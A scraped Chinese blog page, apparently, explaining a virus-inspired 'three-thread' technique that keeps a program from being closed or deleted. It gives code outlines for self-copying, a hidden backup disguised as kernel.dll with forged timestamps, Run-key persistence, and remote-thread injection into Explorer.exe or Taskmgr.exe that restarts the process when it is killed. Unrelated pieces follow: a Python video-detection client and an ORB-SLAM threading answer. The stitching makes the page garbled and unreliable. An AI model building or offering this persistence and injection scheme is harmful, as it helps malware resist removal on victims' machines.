三线程保护程序-思路可以借鉴

本文详细解析了三线程程序开发思路,包括主进程、辅助线程和注册表实时监视机制,揭示了如何利用两个辅助线程保护程序不被关闭或删除,以及核心代码分析、小结与后记等内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一> 前言
   中国黑客(worm.runouce)病毒在国内出现以后,各大反病毒公司都对其进行了“仔细”的分析,得出一个结论:“中国黑客”发现了全球首创的“三线程”结构。这是金*公司对外的宣传词,我个人对病毒没什么研究,并且我对worm.runouce没有任何的个人看法,不过我可以确信的是很多反病毒公司往往在夸大事实,目的只有一个:让更多的用户觉得某某病毒很可怕,让更多的用户相信只有某某公司的杀毒软件才可以彻底将病毒清除掉。其实三线程并没有好高深的技术,不过ideal is wonderful。现在就让我们一步步揭开三线程程序开发的神秘面纱。 

二> 三线程程序开发思路
   在操作系统中,进程是存储器,外设等资源的分配单位,同时也是处理器调度的对象,但为了提高进程内的并发性,windows系统中引入了线程这个概念(在很多其他操作系统中同样也有线程的概念,由于在2001年微软停止了window9x内核的研发,所以本文只针对windowx2000/xp操作系统),这时系统把线程作为处理器调度的对象,一个进程可以同时拥有多个并发的线程。通常情况下的简单程序就只有一个主线程,它是在进程创建时自动生成的。我们可以将想要执行的代码放在主线程里,然后再生成两个辅助线程,它们的功能就是实现对程序的保护功能,防止程序被用户关闭或删除。在此,称我们的可执行文件的进程为主进程。 

   主线程需要完成的任务有三个,它们分别是准备工作,创建辅助线程和程序主要功能的实现。准备工作当然是为程序运行过程中所需要的一些部件做好准备,其中包括文件复制和保存,一般情况下是把可执行文件复制到系统目录下。当然为了防止意外删除,我们可以将程序的可执行文件备份,不过要注意修改一些属性(文件类型,大小,日期,属性),这样就不容易被发现与我们的可执行文件有关联了。创建辅助线程包括两个线程,一个驻留在主进程体内,另一个通过创建远程线程驻留到其他正在运行的进程体内。这两个线程的功能就是监视其他进程或线程的运行情况,如果出现异常立即恢复。程序的主要功能就不用多说了,想干什么就干什么,一般是一些不想让用户关闭的程序。 

   驻留主进程体内的线程同时观察注册表和远程进程的情况。它实时查询注册表里 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run键下相关可执行文件的键值,如果被删除就立即将其添加上。这就是对注册表的实时监视,使得每次开机时都会运行我们的可执行文件。而另一个功能则是监视驻留在远程进程体内辅助线程的运行情况,如果该线程被关闭,立即通过创建远程线程将被关闭的线程驻留到特定的进程内。如果你知道了辅助线程是驻留在那个进程内的,你就可以将这个远程进程关闭掉。但是我们还是可以将辅助线程驻留到其他的远程进程内。至于选定哪个远程进程,完全视你的心情而定。 

   驻留在远程进程体内的辅助线程则监视主进程的运行情况,如果主进程被kill了,它会确认程序的可执行文件是否也被删除掉了。如果系统目录下的可执行文件不存在了,则用我们备份的文件恢复可执行文件,然后再重新启动程序,这样你在任务管理器里怎么也删除不了主进程。由于我们是创建远程线程,所以必须把线程的代码和线程所需要的参数都复制到远程进程的地址空间里。这是因为在windows2000/xp环境下,访问其他进程地址空间是违规的。我们把代码和参数复制过去后,线程就完全在远程进程的地址空间运行了。我们可以看到,通过两个辅助线程,就很难把主进程关闭或删除掉。 

   现在我们就以一个诱鼠器为例,来分析三线程的程序结构,如下图: 

 |------->-------|   
remote ---<--- T-mouse --->--- watch --->--- Registry
 |--------------<---------------| 

   其中T-mouse为主进程/主线程,remote为创建的远程线程,watch为本地的辅助监视线程,Registry为注册表文件。T-mouse创建remote和watch两个线程,remote监视T-mouse主进程,watch监视注册表文件和remote线程。   
   

三> 核心代码分析

   本文的程序仅针对windows2000/xp操作系统,程序中使用的UNICODE编码。测试环境:Windows2000 + SP2 + VC6.0。整个程序分主线程main,本地辅助监视线程watch,远程线程remote,还包括获得进程ID的processtopid和创建远程线程的createremote两个自定义函数。 

1.主线程:main
   GetSystemDirectory(syspath,MAX_PATH);
   //获得操作系统的系统目录;
   FindFirstFile(tname,&fdata);
   //查询系统目录下的T-mouse.exe是否存在;
   CopyFile(curname,tname,TRUE);
   //如果系统目录下没有,在将正在运行的程序复制到系统目录下;
   FindClose(ffhandle);
   //在查询完毕后,关闭相关句柄;
   CreateFile(kname,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
   //打开系统目录下的备份文件kernel.dll; 
   SetFileTime(fchandle,&ftime,NULL,&ftime);
   //修改kernel.dll的创建时间,修改时间;
   SetFileAttributes(kname,FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM );
   //设置kernel.dll的属性为只读,系统及隐藏;
   CreateThread(NULL,0,watch,(LPVOID)rthread,0,NULL);
   //创建驻留在主进程内的辅助监视线程 

2.本地辅助监视线程:watch
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_QUERY_value,&hkey);
   //以查询方式打开注册表的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run;
   RegQueryvalueEx(hkey,_T("T-mouse"),NULL,NULL,(LPBYTE)lpdata,&dwbuflen);
   //查询是否存在T-mouse的键值;
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,rgspath,0,KEY_WRITE,&hkey);
   //如果没有相关键值,就以写方式再次打开注册表;
   RegSetvalueEx(hkey,_T("T-mouse"),NULL,type,(const byte *)wtname,dwbuflen);
   //写入我们想要的东西,系统每次启动都会运行我们的可执行文件;
   GetExitCodeThread(wethread,&exitcode);
   //获得远程线程的运行情况,看是否为STILL_ACTIVE,如果不是则创建远程线程;
   
3.远程线程:remote
   tOpenProcess(PROCESS_ALL_ACCESS,FALSE,erp->rpmousepid);
   //以所有可能的访问方式打开主进程,以便监视主进程的运行情况;
   tWaitForSingleObject(erp->rpprocesshandle,INFINITE);
   //等待直到主进程结束;
   tWinExec(erp->rpwinexecname, 0);
   //重新启动我们的可执行文件; 

4.获得进程ID:processtopid
   EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
   //列举所有的进程
   OpenProcess(PROCESS_QUERY_INformATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
   //以查询信息和读取的方式打开进程
   EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
   //获得进程模块的句柄
   GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
   //获得特定模块的名字,以备比较 

5.创建远程线程:createremote
   OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
   //PROCESS_CREATE_THREAD for CreateRemoteThread
   //PROCESS_VM_OPERATION  for VirtualAllocEx
   //PROCESS_VM_WRITE      for WriteProcessMemory
   VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
   //在远程进程中分配空间,以备将线程代码置入其中;
   WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
   //将远程线程remote的代码写入到远程进程的地址空间中
   WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
   //将远程线程所需的参数也写入到远程进程的地址空间中
   CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
   //创建远程监视线程 

四> 小结与后记
   我们已经看到,创建三线程就是为了更好的保护程序自身不被关闭和删除。两个辅助线程相互实时监视,如果监视对象被关闭了,就重新创建线程或进程。其实,在程序中我们选择的远程进程驻体为Explorer.exe和Taskmgr.exe。在通常情况下,如果用户知道了远程线程的驻体为资源管理器后,就会打开任务管理器来结束Explorer,这时我们再把远程线程驻入到任务管理器中。也就是说,只要Explorer或Taskmgr有一个存在,就不可能结束主进程。如果有其他Kill进程的工具,你就可以将其关闭掉,只要资源管理器和任务管理器均不存在时,就没有驻体来维持远程进程。不过,如果我们选择的远程进程为随机的,这就不容易发现了;如果我们选择的远程进程为系统文件(如smss.exe会话管理器),那么你是不会安全的结束远程线程,除非系统崩溃。 

   如何不用其他的工具将其关闭并删除呢?你也可以进入到DOS或Safe模式下,将系统目录下的可执行文件删除,然后重启系统。这时,就不会自动运行程序了,然后将注册表里RUN键下的相关键值,系统目录下的备份文件及首次运行的可执行文件删除就彻底清楚了。在调试程序时,为了对远程线程的运行情况有所了解,我们使用了工具Dbgview.exe。 
import cv2 import socket import struct import numpy as np import torch from torchvision.models.detection import fasterrcnn_resnet50_fpn # 初始化YOLOv3模型 model = fasterrcnn_resnet50_fpn(pretrained=True) model.eval() # 设置客户端 HOST = '192.168.0.22' # 替换为Jetson Nano的IP PORT = 8080 client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client_socket.connect((HOST, PORT)) data = b"" payload_size = struct.calcsize("!I") # 4字节 try: while True: # 接收帧大小 while len(data) < payload_size: packet = client_socket.recv(4096) if not packet: break data += packet if len(data) < payload_size: break packed_size = data[:payload_size] data = data[payload_size:] frame_size = struct.unpack("!I", packed_size)[0] # 接收帧数据 while len(data) < frame_size: data += client_socket.recv(4096) frame_data = data[:frame_size] data = data[frame_size:] # 解码并处理帧 frame = cv2.imdecode(np.frombuffer(frame_data, dtype=np.uint8), cv2.IMREAD_COLOR) # YOLOv3目标检测 tensor = torch.from_numpy(frame).permute(2, 0, 1).float() / 255.0 predictions = model([tensor])[0] # 绘制检测结果 for box, score, label in zip(predictions['boxes'], predictions['scores'], predictions['labels']): if score > 0.5: # 置信度阈值 x1, y1, x2, y2 = box.int().tolist() cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 2) cv2.putText(frame, f'Class {label}: {score:.2f}', (x1, y1-10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,255,0), 2) cv2.imshow('YOLOv3 Detection', frame) if cv2.waitKey(1) == 27: # ESC退出 break finally: client_socket.close() cv2.destroyAllWindows() 在这个代码的基础上加入优化
最新发布
07-06
<think>好的,用户想了解ORB-SLAM中三个线之间的运行关系。首先,我需要回忆一下ORB-SLAM的整体架构。ORB-SLAM是一个基于特征点的视觉SLAM系统,主要分为Tracking、Local Mapping和Loop Closing三个线。这三个线各司其职,但又需要协同工作,确保系统的实时性和准确性。 首先,Tracking线是负责处理每一帧输入的图像,进行特征提取、相机位姿估计以及判断是否插入关键帧。这部分需要实时运行,所以对性能要求较高。然后,Local Mapping线处理新插入的关键帧,进行局部地图的优化,包括局部BA(Bundle Adjustment),以优化相机位姿和地图点。最后,Loop Closing线检测回环,即当相机回到之前经过的地方时,进行全局优化,消除累积误差。 接下来要考虑这三个线之间的数据交互和同步机制。例如,Tracking线生成的关键帧需要传递给Local Mapping线进行处理,而Local Mapping线在优化地图时可能会影响Tracking的位姿估计。同时,Loop Closing线检测到回环后,需要进行全局优化,这时候可能需要暂停其他线以避免数据冲突,比如使用互斥锁或者信号量来同步数据访问。 用户提到的引用中提到了多线同步的问题,引用[2]提到需要确保多个线不会同时操作队列导致问题。这可能在ORB-SLAM中也有所体现,比如关键帧队列的线安全。需要确认ORB-SLAM是否使用了类似的机制,比如互斥锁来保护共享资源,例如关键帧队列或地图数据。 另外,Tracking线作为前端,需要实时性,所以Local Mapping和Loop Closing作为后端线,可能以较低的优先级运行,或者通过并行处理来提升效率。但需要注意,当后端进行优化时,前端可能需要等待某些数据更新,比如地图点位置,这时候同步机制就很重要。 可能存在的挑战包括线之间的数据一致性,例如当Local Mapping线优化地图点时,Tracking线可能正在使用这些点进行位姿估计,这会导致数据竞争。因此,ORB-SLAM可能采用了关键段的加锁机制,或者在优化时使用副本数据来避免冲突。 还需要考虑各线的执行顺序和触发条件。比如,何时触发新的关键帧插入,Loop Closing检测的频率如何,以及全局优化后的地图如何更新到其他线中。这些都会影响系统的整体性能和精度。 最后,总结三个线的关系:Tracking负责实时跟踪,Local Mapping处理局部优化,Loop Closing处理全局优化,三者通过共享数据和同步机制协同工作,确保SLAM系统的准确性和实时性。需要详细说明每个线的具体任务,数据流向,以及同步方法,比如互斥锁的使用位置,以及可能存在的瓶颈或优化点,如引用[1]提到的寻找可操作的瓶颈。</think>### ORB-SLAM三线执行关系解析 ORB-SLAM是一个基于多线架构的视觉SLAM系统,其核心包含三个并行运行的线:**跟踪(Tracking)**、**局部建图(Local Mapping)**和**闭环检测(Loop Closing)**。它们通过协同工作实现实时定位与地图构建,同时通过共享数据和同步机制保证系统一致性[^1]。 --- #### 1. **线功能与交互关系** | 线 | 主要任务 | 数据交互 | |---------------|--------------------------------------------------------------------------|--------------------------------------------------------------------------| | **跟踪线** | 实时处理输入帧,提取特征点,估计相机位姿,决定是否插入关键帧 | 向局部建图线传递新关键帧;依赖局部地图点进行位姿优化 | | **局部建图** | 处理新关键帧:关联地图点、局部Bundle Adjustment(BA)、剔除冗余地图点 | 接收跟踪线的关键帧;更新局部地图后通知跟踪线 | | **闭环检测** | 检测场景回环,计算相似变换,执行全局BA优化 | 暂停局部建图线;优化后更新所有线的地图数据 | --- #### 2. **同步机制与关键实现** 1. **关键帧队列的线安全** - 跟踪线生成的关键帧通过互斥锁(Mutex)保护的队列传递给局部建图线[^2] - 示例代码片段: ```cpp std::mutex keyframeMutex; std::queue<KeyFrame*> keyframeQueue; // 跟踪线插入关键帧 void Tracking::InsertKeyFrame(KeyFrame* kf) { std::lock_guard<std::mutex> lock(keyframeMutex); keyframeQueue.push(kf); } // 局部建图线获取关键帧 KeyFrame* LocalMapping::GetNextKeyFrame() { std::lock_guard<std::mutex> lock(keyframeMutex); if (!keyframeQueue.empty()) { KeyFrame* kf = keyframeQueue.front(); keyframeQueue.pop(); return kf; } return nullptr; } ``` 2. **全局优化时的线协调** - 闭环检测线在启动全局BA前会请求暂停局部建图线 - 使用条件变量(Condition Variable)实现线状态同步: $$ \text{闭环检测} \xrightarrow{\text{RequestStop()}} \text{局部建图} \xrightarrow{\text{WaitForResume()}} \text{继续执行} $$ --- #### 3. **执行流示例** ```mermaid graph TD A[跟踪线] -->|插入关键帧| B[局部建图线] B -->|地图更新| A B -->|候选回环| C[闭环检测线] C -->|全局优化| B C -->|优化结果| A ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值